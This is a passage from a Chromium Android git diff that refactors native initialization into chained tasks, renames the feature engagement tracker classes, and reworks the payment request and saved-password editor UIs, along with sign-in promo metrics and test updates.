-        initQueue.add(new NativeInitTask() {
-            @Override
-            public void initFunction() {
+            public void run() {
                 ProcessInitializationHandler.getInstance().initializePostNative();
             }
         });
 
-        initQueue.add(new NativeInitTask() {
+        tasks.add(new Runnable() {
             @Override
-            public void initFunction() {
+            public void run() {
                 initNetworkChangeNotifier(mApplication.getApplicationContext());
             }
         });
 
-        initQueue.add(new NativeInitTask() {
+        tasks.add(new Runnable() {
             @Override
-            public void initFunction() {
+            public void run() {
                 // This is not broken down as a separate task, since this:
                 // 1. Should happen as early as possible
                 // 2. Only submits asynchronous work
@@ -303,32 +281,32 @@
             }
         });
 
-        initQueue.add(new NativeInitTask() {
+        tasks.add(new Runnable() {
             @Override
-            public void initFunction() {
+            public void run() {
                 if (delegate.isActivityDestroyed()) return;
                 delegate.initializeCompositor();
             }
         });
 
-        initQueue.add(new NativeInitTask() {
+        tasks.add(new Runnable() {
             @Override
-            public void initFunction() {
+            public void run() {
                 if (delegate.isActivityDestroyed()) return;
                 delegate.initializeState();
             }
         });
 
-        initQueue.add(new NativeInitTask() {
+        tasks.add(new Runnable() {
             @Override
-            public void initFunction() {
+            public void run() {
                 onFinishNativeInitialization();
             }
         });
 
-        initQueue.add(new NativeInitTask() {
+        tasks.add(new Runnable() {
             @Override
-            public void initFunction() {
+            public void run() {
                 if (delegate.isActivityDestroyed()) return;
                 delegate.finishNativeInitialization();
             }
@@ -348,13 +326,12 @@
 
                         @Override
                         public void onSuccess(boolean success) {
-                            mHandler.post(initQueue.pop());
+                            tasks.start(false);
                         }
                     });
         } else {
             startChromeBrowserProcessesSync();
-            initQueue.pop().run();
-            assert initQueue.isEmpty();
+            tasks.start(true);
         }
     }
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/payments/ui/PaymentRequestUI.java b/chrome/android/java/src/org/chromium/chrome/browser/payments/ui/PaymentRequestUI.java
index e1ab3204..6c80d3c2 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/payments/ui/PaymentRequestUI.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/payments/ui/PaymentRequestUI.java
@@ -42,6 +42,7 @@
 import org.chromium.base.Callback;
 import org.chromium.base.VisibleForTesting;
 import org.chromium.chrome.R;
+import org.chromium.chrome.browser.ChromeFeatureList;
 import org.chromium.chrome.browser.ChromeVersionInfo;
 import org.chromium.chrome.browser.payments.ShippingStrings;
 import org.chromium.chrome.browser.payments.ui.PaymentRequestSection.LineItemBreakdownSection;
@@ -551,25 +552,40 @@
         mShippingOptionSection.setCanAddItems(false);
         mPaymentMethodSection.setCanAddItems(canAddCards);
 
+        // Put payment method section on top of address section for
+        // WEB_PAYMENTS_METHOD_SECTION_ORDER_V2.
+        boolean methodSectionOrderV2 =
+                ChromeFeatureList.isEnabled(ChromeFeatureList.WEB_PAYMENTS_METHOD_SECTION_ORDER_V2);
+
         // Add the necessary sections to the layout.
         mPaymentContainerLayout.addView(mOrderSummarySection, new LinearLayout.LayoutParams(
                 LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
-        mSectionSeparators.add(new SectionSeparator(mPaymentContainerLayout));
+        if (methodSectionOrderV2) {
+            mSectionSeparators.add(new SectionSeparator(mPaymentContainerLayout));
+            mPaymentContainerLayout.addView(mPaymentMethodSection,
+                    new LinearLayout.LayoutParams(
+                            LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
+        }
         if (mRequestShipping) {
+            mSectionSeparators.add(new SectionSeparator(mPaymentContainerLayout));
             // The shipping breakout sections are only added if they are needed.
             mPaymentContainerLayout.addView(mShippingAddressSection,
                     new LinearLayout.LayoutParams(
                             LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
-            mSectionSeparators.add(new SectionSeparator(mPaymentContainerLayout));
         }
-        mPaymentContainerLayout.addView(mPaymentMethodSection, new LinearLayout.LayoutParams(
-                LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
+        if (!methodSectionOrderV2) {
+            mSectionSeparators.add(new SectionSeparator(mPaymentContainerLayout));
+            mPaymentContainerLayout.addView(mPaymentMethodSection,
+                    new LinearLayout.LayoutParams(
+                            LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
+        }
         if (mRequestContactDetails) {
             // Contact details are optional, depending on the merchant website.
             mSectionSeparators.add(new SectionSeparator(mPaymentContainerLayout));
             mPaymentContainerLayout.addView(mContactDetailsSection, new LinearLayout.LayoutParams(
                     LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
         }
+
         mRequestView.addOnLayoutChangeListener(new FadeInAnimator());
         mRequestView.addOnLayoutChangeListener(new PeekingAnimator());
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/preferences/datareduction/DataReductionMainMenuFooter.java b/chrome/android/java/src/org/chromium/chrome/browser/preferences/datareduction/DataReductionMainMenuFooter.java
index e893b40..c5e43a4 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/preferences/datareduction/DataReductionMainMenuFooter.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/preferences/datareduction/DataReductionMainMenuFooter.java
@@ -22,12 +22,12 @@
 import org.chromium.base.ApiCompatibilityUtils;
 import org.chromium.base.metrics.RecordUserAction;
 import org.chromium.chrome.R;
-import org.chromium.chrome.browser.feature_engagement_tracker.FeatureEngagementTrackerFactory;
+import org.chromium.chrome.browser.feature_engagement.TrackerFactory;
 import org.chromium.chrome.browser.net.spdyproxy.DataReductionProxySettings;
 import org.chromium.chrome.browser.preferences.PreferencesLauncher;
 import org.chromium.chrome.browser.profiles.Profile;
-import org.chromium.components.feature_engagement_tracker.EventConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
+import org.chromium.components.feature_engagement.EventConstants;
+import org.chromium.components.feature_engagement.Tracker;
 import org.chromium.third_party.android.datausagechart.ChartDataUsageView;
 
 /**
@@ -109,9 +109,7 @@
         intent.putExtra(DataReductionPreferences.FROM_MAIN_MENU, true);
         getContext().startActivity(intent);
 
-        FeatureEngagementTracker tracker =
-                FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(
-                        Profile.getLastUsedProfile());
+        Tracker tracker = TrackerFactory.getTrackerForProfile(Profile.getLastUsedProfile());
         tracker.notifyEvent(EventConstants.DATA_SAVER_DETAIL_OPENED);
     }
 }
\ No newline at end of file
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/preferences/password/PasswordEntryEditor.java b/chrome/android/java/src/org/chromium/chrome/browser/preferences/password/PasswordEntryEditor.java
index f7d3275..d03a0b00c 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/preferences/password/PasswordEntryEditor.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/preferences/password/PasswordEntryEditor.java
@@ -75,41 +75,46 @@
                 : null;
 
         mException = (name == null);
-        if (shouldDisplayInteractivePasswordEntryEditor()) {
-            if (!mException) {
-                mView = inflater.inflate(
-                        R.layout.password_entry_editor_interactive, container, false);
-            } else {
-                mView = inflater.inflate(R.layout.password_entry_exception, container, false);
-            }
-        } else {
-            mView = inflater.inflate(R.layout.password_entry_editor, container, false);
-        }
+        final String url = mExtras.getString(SavePasswordsPreferences.PASSWORD_LIST_URL);
         getActivity().setTitle(R.string.password_entry_editor_title);
         mClipboard = (ClipboardManager) getActivity().getApplicationContext().getSystemService(
                 Context.CLIPBOARD_SERVICE);
-        TextView nameView = (TextView) mView.findViewById(R.id.password_entry_editor_name);
-        if (!mException) {
-            nameView.setText(name);
-        } else {
-            if (!shouldDisplayInteractivePasswordEntryEditor()) {
-                nameView.setText(R.string.section_saved_passwords_exceptions);
-            }
-        }
-        final String url = mExtras.getString(SavePasswordsPreferences.PASSWORD_LIST_URL);
-        TextView urlView = (TextView) mView.findViewById(R.id.password_entry_editor_url);
-        urlView.setText(url);
         if (shouldDisplayInteractivePasswordEntryEditor()) {
-            mKeyguardManager =
-                    (KeyguardManager) getActivity().getApplicationContext().getSystemService(
-                            Context.KEYGUARD_SERVICE);
+            mView = inflater.inflate(mException ? R.layout.password_entry_exception
+                                                : R.layout.password_entry_editor_interactive,
+                    container, false);
+            getActivity().setTitle(R.string.password_entry_editor_title);
+            mClipboard = (ClipboardManager) getActivity().getApplicationContext().getSystemService(
+                    Context.CLIPBOARD_SERVICE);
+            View urlRowsView = createSimpleCopyableRow(
+                    R.id.url_row, R.string.password_entry_editor_site_title, url);
+            hookupCopySiteButton(urlRowsView);
             if (!mException) {
+                View usernameView = createSimpleCopyableRow(
+                        R.id.username_row, R.string.password_entry_editor_username_title, name);
+                hookupCopyUsernameButton(usernameView);
+                mKeyguardManager =
+                        (KeyguardManager) getActivity().getApplicationContext().getSystemService(
+                                Context.KEYGUARD_SERVICE);
+                View passwordTitleView =
+                        mView.findViewById(R.id.password_entry_editor_password_title);
+                TextView passwordTitleTextView =
+                        (TextView) passwordTitleView.findViewById(R.id.password_entry_title);
+                passwordTitleTextView.setText(R.string.password_entry_editor_password);
                 hidePassword();
                 hookupPasswordButtons();
-                hookupCopyUsernameButton();
             }
-            hookupCopySiteButton();
+
         } else {
+            mView = inflater.inflate(R.layout.password_entry_editor, container, false);
+            TextView nameView = (TextView) mView.findViewById(R.id.password_entry_editor_name);
+            if (!mException) {
+                nameView.setText(name);
+            } else {
+                nameView.setText(R.string.section_saved_passwords_exceptions);
+            }
+            TextView urlView = (TextView) mView.findViewById(R.id.password_entry_editor_url);
+            urlView.setText(url);
             hookupCancelDeleteButtons();
         }
         return mView;
@@ -203,9 +208,9 @@
         });
     }
 
-    private void hookupCopyUsernameButton() {
+    private void hookupCopyUsernameButton(View usernameView) {
         final ImageButton copyUsernameButton =
-                (ImageButton) mView.findViewById(R.id.password_entry_editor_copy_username);
+                (ImageButton) usernameView.findViewById(R.id.password_entry_editor_copy);
         copyUsernameButton.setOnClickListener(new View.OnClickListener() {
             @Override
             public void onClick(View v) {
@@ -220,9 +225,9 @@
         });
     }
 
-    private void hookupCopySiteButton() {
+    private void hookupCopySiteButton(View siteView) {
         final ImageButton copySiteButton =
-                (ImageButton) mView.findViewById(R.id.password_entry_editor_copy_site);
+                (ImageButton) siteView.findViewById(R.id.password_entry_editor_copy);
         copySiteButton.setOnClickListener(new View.OnClickListener() {
             @Override
             public void onClick(View v) {
@@ -317,4 +322,14 @@
             }
         });
     }
+
+    private View createSimpleCopyableRow(int rowId, int titleId, String data) {
+        View rowsView = mView.findViewById(rowId);
+        View titleView = rowsView.findViewById(R.id.password_entry_editor_row_title);
+        TextView titleTextView = (TextView) titleView.findViewById(R.id.password_entry_title);
+        titleTextView.setText(titleId);
+        TextView dataView = (TextView) rowsView.findViewById(R.id.password_entry_editor_row_data);
+        dataView.setText(data);
+        return rowsView;
+    }
 }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/preferences/privacy/ClearBrowsingDataPreferences.java b/chrome/android/java/src/org/chromium/chrome/browser/preferences/privacy/ClearBrowsingDataPreferences.java
index d1d5cdd1..a54b47a5 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/preferences/privacy/ClearBrowsingDataPreferences.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/preferences/privacy/ClearBrowsingDataPreferences.java
@@ -191,7 +191,7 @@
      */
     public enum DialogOption {
         CLEAR_HISTORY(
-                BrowsingDataType.HISTORY, PREF_HISTORY, R.drawable.ic_history_grey600_24dp, true),
+                BrowsingDataType.HISTORY, PREF_HISTORY, R.drawable.ic_watch_later_black_24dp, true),
         CLEAR_COOKIES_AND_SITE_DATA(
                 BrowsingDataType.COOKIES, PREF_COOKIES, R.drawable.permission_cookie, true),
         CLEAR_CACHE(BrowsingDataType.CACHE, PREF_CACHE, R.drawable.ic_collections_grey, false),
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/signin/SigninPromoController.java b/chrome/android/java/src/org/chromium/chrome/browser/signin/SigninPromoController.java
index 1c441e2b..42612ad 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/signin/SigninPromoController.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/signin/SigninPromoController.java
@@ -67,17 +67,19 @@
     }
 
     /**
-     * Records an impression for the promo.
+     * Records user actions for promo impressions.
      */
     public void recordSigninPromoImpression() {
         SharedPreferences preferences = ContextUtils.getAppSharedPreferences();
         int numImpressions = preferences.getInt(SIGNIN_PROMO_IMPRESSIONS_COUNT, 0);
         preferences.edit().putInt(SIGNIN_PROMO_IMPRESSIONS_COUNT, numImpressions + 1).apply();
-        RecordUserAction.record("Signin_Impression_FromSettings");
-        // TODO(iuliah): Add Signin_Impression_WithAccounts recording
-        // This method is later going to record impressions for whether the promo was configured
-        // to be in the hot state (there are accounts which are currently singed in on the device)
-        // or in the cold state, depending on the value of mAccountName.
+
+        recordSigninImpressionUserAction();
+        if (mAccountName == null) {
+            recordSigninImpressionWithNoAccountUserAction();
+        } else {
+            recordSigninImpressionWithAccountUserAction();
+        }
     }
 
     /**
@@ -117,6 +119,63 @@
         mAccountName = accountName;
     }
 
+    private void recordSigninImpressionUserAction() {
+        switch (mAccessPoint) {
+            case SigninAccessPoint.BOOKMARK_MANAGER:
+                RecordUserAction.record("Signin_Impression_FromBookmarkManager");
+                break;
+            case SigninAccessPoint.NTP_CONTENT_SUGGESTIONS:
+                RecordUserAction.record("Signin_Impression_FromNTPContentSuggestions");
+                break;
+            case SigninAccessPoint.RECENT_TABS:
+                RecordUserAction.record("Signin_Impression_FromRecentTabs");
+                break;
+            case SigninAccessPoint.SETTINGS:
+                RecordUserAction.record("Signin_Impression_FromSettings");
+                break;
+            default:
+                throw new RuntimeException("Unexpected value for access point: " + mAccessPoint);
+        }
+    }
+
+    private void recordSigninImpressionWithAccountUserAction() {
+        switch (mAccessPoint) {
+            case SigninAccessPoint.BOOKMARK_MANAGER:
+                RecordUserAction.record("Signin_ImpressionWithAccount_FromBookmarkManager");
+                break;
+            case SigninAccessPoint.NTP_CONTENT_SUGGESTIONS:
+                // TODO(iuliah): record Signin_ImpressionWithAccount_FromNTPContentSuggestions.
+                break;
+            case SigninAccessPoint.RECENT_TABS:
+                RecordUserAction.record("Signin_ImpressionWithAccount_FromRecentTabs");
+                break;
+            case SigninAccessPoint.SETTINGS:
+                RecordUserAction.record("Signin_ImpressionWithAccount_FromSettings");
+                break;
+            default:
+                throw new RuntimeException("Unexpected value for access point: " + mAccessPoint);
+        }
+    }
+
+    private void recordSigninImpressionWithNoAccountUserAction() {
+        switch (mAccessPoint) {
+            case SigninAccessPoint.BOOKMARK_MANAGER:
+                RecordUserAction.record("Signin_ImpressionWithNoAccount_FromBookmarkManager");
+                break;
+            case SigninAccessPoint.NTP_CONTENT_SUGGESTIONS:
+                // TODO(iuliah): record Signin_ImpressionWithNoAccount_FromNTPContentSuggestions.
+                break;
+            case SigninAccessPoint.RECENT_TABS:
+                RecordUserAction.record("Signin_ImpressionWithNoAccount_FromRecentTabs");
+                break;
+            case SigninAccessPoint.SETTINGS:
+                RecordUserAction.record("Signin_ImpressionWithNoAccount_FromSettings");
+                break;
+            default:
+                throw new RuntimeException("Unexpected value for access point: " + mAccessPoint);
+        }
+    }
+
     private void setupColdState(final Context context, SigninPromoView view) {
         view.getImage().setImageResource(R.drawable.chrome_sync_logo);
         setImageSize(context, view, R.dimen.signin_promo_cold_state_image_size);
@@ -126,6 +185,7 @@
             @Override
             public void onClick(View view) {
                 AccountSigninActivity.startAccountSigninActivity(context, mAccessPoint);
+                // TODO(iuliah): change to new account activity when available.
             }
         });
 
@@ -133,7 +193,6 @@
     }
 
     private void setupHotState(final Context context, SigninPromoView view) {
-        // TODO (iuliah): Subscribe to ProfileDataCache
         Drawable accountImage = mProfileDataCache.getImage(mAccountName);
         view.getImage().setImageDrawable(accountImage);
         setImageSize(context, view, R.dimen.signin_promo_account_image_size);
@@ -145,9 +204,8 @@
         view.getSigninButton().setOnClickListener(new View.OnClickListener() {
             @Override
             public void onClick(View view) {
-                AccountSigninActivity.startAccountSigninActivity(context, mAccessPoint);
-                // TODO(iuliah):  use confirmation-only entry point in AccountSigninActivity
-                // as soon as it is available
+                AccountSigninActivity.startFromConfirmationPage(
+                        context, mAccessPoint, mAccountName, true);
             }
         });
 
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/tab/Tab.java b/chrome/android/java/src/org/chromium/chrome/browser/tab/Tab.java
index 63a623a..dff7f104 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/tab/Tab.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/tab/Tab.java
@@ -61,7 +61,7 @@
 import org.chromium.chrome.browser.customtabs.CustomTabActivity;
 import org.chromium.chrome.browser.document.ChromeLauncherActivity;
 import org.chromium.chrome.browser.download.ChromeDownloadDelegate;
-import org.chromium.chrome.browser.feature_engagement_tracker.FeatureEngagementTrackerFactory;
+import org.chromium.chrome.browser.feature_engagement.TrackerFactory;
 import org.chromium.chrome.browser.fullscreen.FullscreenManager;
 import org.chromium.chrome.browser.help.HelpAndFeedback;
 import org.chromium.chrome.browser.infobar.InfoBarContainer;
@@ -89,9 +89,9 @@
 import org.chromium.chrome.browser.util.FeatureUtilities;
 import org.chromium.chrome.browser.widget.textbubble.ViewAnchoredTextBubble;
 import org.chromium.components.dom_distiller.core.DomDistillerUrlUtils;
-import org.chromium.components.feature_engagement_tracker.EventConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
+import org.chromium.components.feature_engagement.EventConstants;
+import org.chromium.components.feature_engagement.FeatureConstants;
+import org.chromium.components.feature_engagement.Tracker;
 import org.chromium.components.navigation_interception.InterceptNavigationDelegate;
 import org.chromium.components.security_state.ConnectionSecurityLevel;
 import org.chromium.components.sync.SyncConstants;
@@ -1550,9 +1550,7 @@
                 DataReductionProxySettings.getInstance().getContentLengthSavedInHistorySummary()
                 - mDataSavedOnStartPageLoad;
 
-        FeatureEngagementTracker tracker =
-                FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(
-                        Profile.getLastUsedProfile());
+        Tracker tracker = TrackerFactory.getTrackerForProfile(Profile.getLastUsedProfile());
         if (dataSaved > 0L) {
             tracker.notifyEvent(EventConstants.DATA_SAVED_ON_PAGE_LOAD);
         }
@@ -1563,7 +1561,7 @@
         maybeShowDataSaverInProductHelp(tracker);
     }
 
-    private void maybeShowDataSaverInProductHelp(final FeatureEngagementTracker tracker) {
+    private void maybeShowDataSaverInProductHelp(final Tracker tracker) {
         if (!tracker.shouldTriggerHelpUI(FeatureConstants.DATA_SAVER_DETAIL_FEATURE)) return;
 
         ViewAnchoredTextBubble textBubble = new ViewAnchoredTextBubble(getActivity(),
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/toolbar/ToolbarManager.java b/chrome/android/java/src/org/chromium/chrome/browser/toolbar/ToolbarManager.java
index e12fc58..ed2e866 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/toolbar/ToolbarManager.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/toolbar/ToolbarManager.java
@@ -44,7 +44,7 @@
 import org.chromium.chrome.browser.compositor.layouts.OverviewModeBehavior.OverviewModeObserver;
 import org.chromium.chrome.browser.compositor.layouts.SceneChangeObserver;
 import org.chromium.chrome.browser.download.DownloadUtils;
-import org.chromium.chrome.browser.feature_engagement_tracker.FeatureEngagementTrackerFactory;
+import org.chromium.chrome.browser.feature_engagement.TrackerFactory;
 import org.chromium.chrome.browser.fullscreen.BrowserStateBrowserControlsVisibilityDelegate;
 import org.chromium.chrome.browser.fullscreen.FullscreenManager;
 import org.chromium.chrome.browser.net.spdyproxy.DataReductionProxySettings;
@@ -76,9 +76,9 @@
 import org.chromium.chrome.browser.widget.findinpage.FindToolbarManager;
 import org.chromium.chrome.browser.widget.findinpage.FindToolbarObserver;
 import org.chromium.chrome.browser.widget.textbubble.ViewAnchoredTextBubble;
-import org.chromium.components.feature_engagement_tracker.EventConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureConstants;
-import org.chromium.components.feature_engagement_tracker.FeatureEngagementTracker;
+import org.chromium.components.feature_engagement.EventConstants;
+import org.chromium.components.feature_engagement.FeatureConstants;
+import org.chromium.components.feature_engagement.Tracker;
 import org.chromium.content_public.browser.LoadUrlParams;
 import org.chromium.content_public.browser.NavigationController;
 import org.chromium.content_public.browser.NavigationEntry;
@@ -503,9 +503,7 @@
                     return;
                 }
 
-                final FeatureEngagementTracker tracker =
-                        FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(
-                                tab.getProfile());
+                final Tracker tracker = TrackerFactory.getTrackerForProfile(tab.getProfile());
 
                 if (!tracker.shouldTriggerHelpUI(FeatureConstants.DOWNLOAD_PAGE_FEATURE)) return;
 
@@ -544,9 +542,7 @@
                     return;
                 }
 
-                FeatureEngagementTracker tracker =
-                        FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(
-                                tab.getProfile());
+                Tracker tracker = TrackerFactory.getTrackerForProfile(tab.getProfile());
                 tracker.notifyEvent(EventConstants.USER_HAS_SEEN_DINO);
             }
         };
@@ -894,9 +890,8 @@
                 // Chrome home is not
                 if (DataReductionProxySettings.getInstance().isDataReductionProxyEnabled()
                         && !FeatureUtilities.isChromeHomeEnabled()) {
-                    FeatureEngagementTracker tracker =
-                            FeatureEngagementTrackerFactory.getFeatureEngagementTrackerForProfile(
-                                    Profile.getLastUsedProfile());
+                    Tracker tracker =
+                            TrackerFactory.getTrackerForProfile(Profile.getLastUsedProfile());
                     tracker.notifyEvent(EventConstants.OVERFLOW_OPENED_WITH_DATA_SAVER_SHOWN);
                 }
             }
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/widget/bottomsheet/BottomSheetContentController.java b/chrome/android/java/src/org/chromium/chrome/browser/widget/bottomsheet/BottomSheetContentController.java
index a6a6b81..bf9dee6 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/widget/bottomsheet/BottomSheetContentController.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/widget/bottomsheet/BottomSheetContentController.java
@@ -127,10 +127,6 @@
             }
 
             if (mBottomSheet.getSheetState() == BottomSheet.SHEET_STATE_PEEK) {
-                if (mSelectedItemId != R.id.action_home) {
-                    showBottomSheetContent(R.id.action_home);
-                    mBottomSheet.endAnimations();
-                }
                 clearBottomSheetContents(false);
             }
         }
diff --git a/chrome/android/java/strings/android_chrome_strings.grd b/chrome/android/java/strings/android_chrome_strings.grd
index 8999890..066dc25 100644
--- a/chrome/android/java/strings/android_chrome_strings.grd
+++ b/chrome/android/java/strings/android_chrome_strings.grd
@@ -459,7 +459,7 @@
         Password copied
       </message>
       <message name="IDS_PASSWORD_ENTRY_EDITOR_SET_LOCK_SCREEN" desc='Text prompting user to set device lock in order to view/copy passwords'>
-        In order to view and copy passwords you must set up a device lock in your device's security settings.
+        To view or copy your password here, set screen lock on this device.
       </message>
       <message name="IDS_PASSWORD_ENTRY_EDITOR_NOT_AVAILABLE_ON_PRE_LOLLIPOP" desc='Text that announced user that password viewing is not possible on pre-Lollipop devices'>
         Password viewing and copying are not available on your version of Android.
diff --git a/chrome/android/java_sources.gni b/chrome/android/java_sources.gni
index cfa425e..c69b4ab8 100644
--- a/chrome/android/java_sources.gni
+++ b/chrome/android/java_sources.gni
@@ -379,9 +379,9 @@
   "java/src/org/chromium/chrome/browser/externalnav/IntentWithGesturesHandler.java",
   "java/src/org/chromium/chrome/browser/favicon/FaviconHelper.java",
   "java/src/org/chromium/chrome/browser/favicon/LargeIconBridge.java",
-  "java/src/org/chromium/chrome/browser/feature_engagement_tracker/FeatureEngagementTrackerFactory.java",
-  "java/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitor.java",
-  "java/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitorDelegate.java",
+  "java/src/org/chromium/chrome/browser/feature_engagement/TrackerFactory.java",
+  "java/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitor.java",
+  "java/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitorDelegate.java",
   "java/src/org/chromium/chrome/browser/feedback/ConnectivityChecker.java",
   "java/src/org/chromium/chrome/browser/feedback/ConnectivityTask.java",
   "java/src/org/chromium/chrome/browser/feedback/EmptyFeedbackReporter.java",
@@ -495,6 +495,7 @@
   "java/src/org/chromium/chrome/browser/init/AsyncInitializationActivity.java",
   "java/src/org/chromium/chrome/browser/init/AsyncInitTaskRunner.java",
   "java/src/org/chromium/chrome/browser/init/BrowserParts.java",
+  "java/src/org/chromium/chrome/browser/init/ChainedTasks.java",
   "java/src/org/chromium/chrome/browser/init/ChromeActivityNativeDelegate.java",
   "java/src/org/chromium/chrome/browser/init/ChromeBrowserInitializer.java",
   "java/src/org/chromium/chrome/browser/init/ChromeLifetimeController.java",
@@ -1432,7 +1433,7 @@
   "javatests/src/org/chromium/chrome/browser/externalnav/ExternalNavigationHandlerTest.java",
   "javatests/src/org/chromium/chrome/browser/externalnav/IntentWithGesturesHandlerTest.java",
   "javatests/src/org/chromium/chrome/browser/externalnav/UrlOverridingTest.java",
-  "javatests/src/org/chromium/chrome/browser/feature_engagement_tracker/ScreenshotMonitorTest.java",
+  "javatests/src/org/chromium/chrome/browser/feature_engagement/ScreenshotMonitorTest.java",
   "javatests/src/org/chromium/chrome/browser/feedback/ConnectivityCheckerTest.java",
   "javatests/src/org/chromium/chrome/browser/feedback/ConnectivityCheckerTestRule.java",
   "javatests/src/org/chromium/chrome/browser/feedback/ConnectivityTaskTest.java",
@@ -1443,6 +1444,7 @@
   "javatests/src/org/chromium/chrome/browser/gcore/MockConnectedTask.java",
   "javatests/src/org/chromium/chrome/browser/gcore/MockConnectedTaskTest.java",
   "javatests/src/org/chromium/chrome/browser/gsa/GSAAccountChangeListenerTest.java",
+  "javatests/src/org/chromium/chrome/browser/init/ChainedTasksTest.java",
   "javatests/src/org/chromium/chrome/browser/hardware_acceleration/ChromeTabbedActivityHWATest.java",
   "javatests/src/org/chromium/chrome/browser/hardware_acceleration/CustomTabActivityHWATest.java",
   "javatests/src/org/chromium/chrome/browser/hardware_acceleration/ManifestHWATest.java",
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabActivityTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabActivityTest.java
index 89600ff..05a1ac4d 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabActivityTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/customtabs/CustomTabActivityTest.java
@@ -98,8 +98,6 @@
 import org.chromium.chrome.test.util.ChromeTabUtils;
 import org.chromium.chrome.test.util.browser.LocationSettingsTestUtil;
 import org.chromium.chrome.test.util.browser.contextmenu.ContextMenuUtils;
-import org.chromium.content.browser.BrowserStartupController;
-import org.chromium.content.browser.BrowserStartupController.StartupCallback;
 import org.chromium.content.browser.test.util.Criteria;
 import org.chromium.content.browser.test.util.CriteriaHelper;
 import org.chromium.content.browser.test.util.DOMUtils;
@@ -1184,7 +1182,7 @@
 
     private void hideDomainAndEnsureTitleIsSet(
             final String url, int speculation, final String expectedTitle) {
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
         Intent intent = CustomTabsTestUtils.createMinimalCustomTabIntent(context, url);
         intent.putExtra(
@@ -1237,7 +1235,7 @@
     @SmallTest
     @RetryOnFailure
     public void testPostMessageBasic() throws InterruptedException {
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
         Intent intent = CustomTabsTestUtils.createMinimalCustomTabIntent(context, mTestPage);
         final CustomTabsSessionToken token =
@@ -1284,7 +1282,7 @@
     @SmallTest
     @RetryOnFailure
     public void testPostMessageWebContentsDestroyed() throws InterruptedException {
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
         Intent intent = CustomTabsTestUtils.createMinimalCustomTabIntent(context, mTestPage);
         final CustomTabsSessionToken token =
@@ -1340,7 +1338,7 @@
     @SmallTest
     @RetryOnFailure
     public void testPostMessageRequiresValidation() throws InterruptedException {
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
         Intent intent = CustomTabsTestUtils.createMinimalCustomTabIntent(context, mTestPage);
         final CustomTabsSessionToken token =
@@ -1371,7 +1369,7 @@
     public void testPostMessageReceivedInPage() throws InterruptedException {
         final String url =
                 mWebServer.setResponse("/test.html", TITLE_FROM_POSTMESSAGE_TO_CHANNEL, null);
-        final CustomTabsConnection connection = warmUpAndWait();
+        final CustomTabsConnection connection = CustomTabsTestUtils.warmUpAndWait();
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
         Intent intent = CustomTabsTestUtils.createMinimalCustomTabIntent(context, url);
         final CustomTabsSessionToken token =
@@ -1411,7 +1409,7 @@
         final CallbackHelper messageChannelHelper = new CallbackHelper();
         final CallbackHelper onPostMessageHelper = new CallbackHelper();
         final String url = mWebServer.setResponse("/test.html", MESSAGE_FROM_PAGE_TO_CHANNEL, null);
-        warmUpAndWait();
+        CustomTabsTestUtils.warmUpAndWait();
         final CustomTabsSession session = bindWithCallback(new CustomTabsCallback() {
             @Override
             public void onMessageChannelReady(Bundle extras) {
@@ -1464,7 +1462,7 @@
         final CallbackHelper messageChannelHelper = new CallbackHelper();
